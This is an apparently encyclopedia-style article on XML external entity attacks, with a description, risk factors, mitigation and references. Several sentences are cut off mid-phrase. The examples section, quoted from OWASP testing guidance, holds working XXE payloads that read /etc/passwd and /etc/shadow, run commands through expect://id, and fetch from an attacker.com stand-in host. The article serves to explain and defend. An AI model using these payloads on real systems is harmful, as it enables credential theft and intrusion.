XML external entity attack
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XML External Entity attack, or simply XXE attack, is a type of attack against an application that parses
Description
The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called an
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file://
schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via
The application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data through subdomain names to a DNS server under their control.[2]
Risk factors
- The application parses XML documents.
- Tainted data is allowed within the system identifier portion of the entity, within the document type definition (DTD).
- The XML processor is configured to validate and process the DTD.
- The XML processor is configured to resolve external entities within the DTD.
Examples
The examples below are from OWASP's Testing for XML Injection (WSTG-INPV-07).[3]
Accessing a local resource that may not return
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Remote code execution
When the PHP "expect" module is loaded, remote code execution may be possible with a modified payload.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
Disclosing /etc/passwd or other targeted files
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
Mitigation
Since the entire XML document is communicated from an untrusted client, it is not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. The XML processor could be configured to use a local static DTD and disallow any declared DTD included in the XML document.
See also
- SQL injection
- Blind SQL injection
References
- ^ "What Are XML External Entity (XXE) Attacks". Acunetix. Retrieved 2023-11-13.
- ^ "OWASP Testing Guide v3" (PDF). Open Web Application Security Project. 2008. Retrieved 2023-11-13.
- ^ "Testing For XML Injection (WSTG-INPV-07), Web Security Testing Guide v4.2". OWASP. 2020-12-03. Archived from the original on 2021-04-20. Retrieved 2023-03-16.
External links
- OWASP XML External Entity (XXE) Prevention Cheat Sheet
- Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques[dead link]
- Precursor presentation of above paper - at OWASP AppSec USA 2013
- CWE-611: Information Exposure Through XML External Entity Reference
- CWE-827: Improper Control of Document Type Definition
- Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010
- PostgreSQL XXE vulnerability
- SharePoint and DotNetNuke XXE Vulnerabilities, in French
- XML Denial of Service Attacks and Defenses (in .NET)
- Early (2002) BugTraq Article on XXE [dead link]Archived 2019-09-02 at the Wayback Machine
- XML 1.0 Extensible Markup Language (XML) 1.0 (Fifth Edition)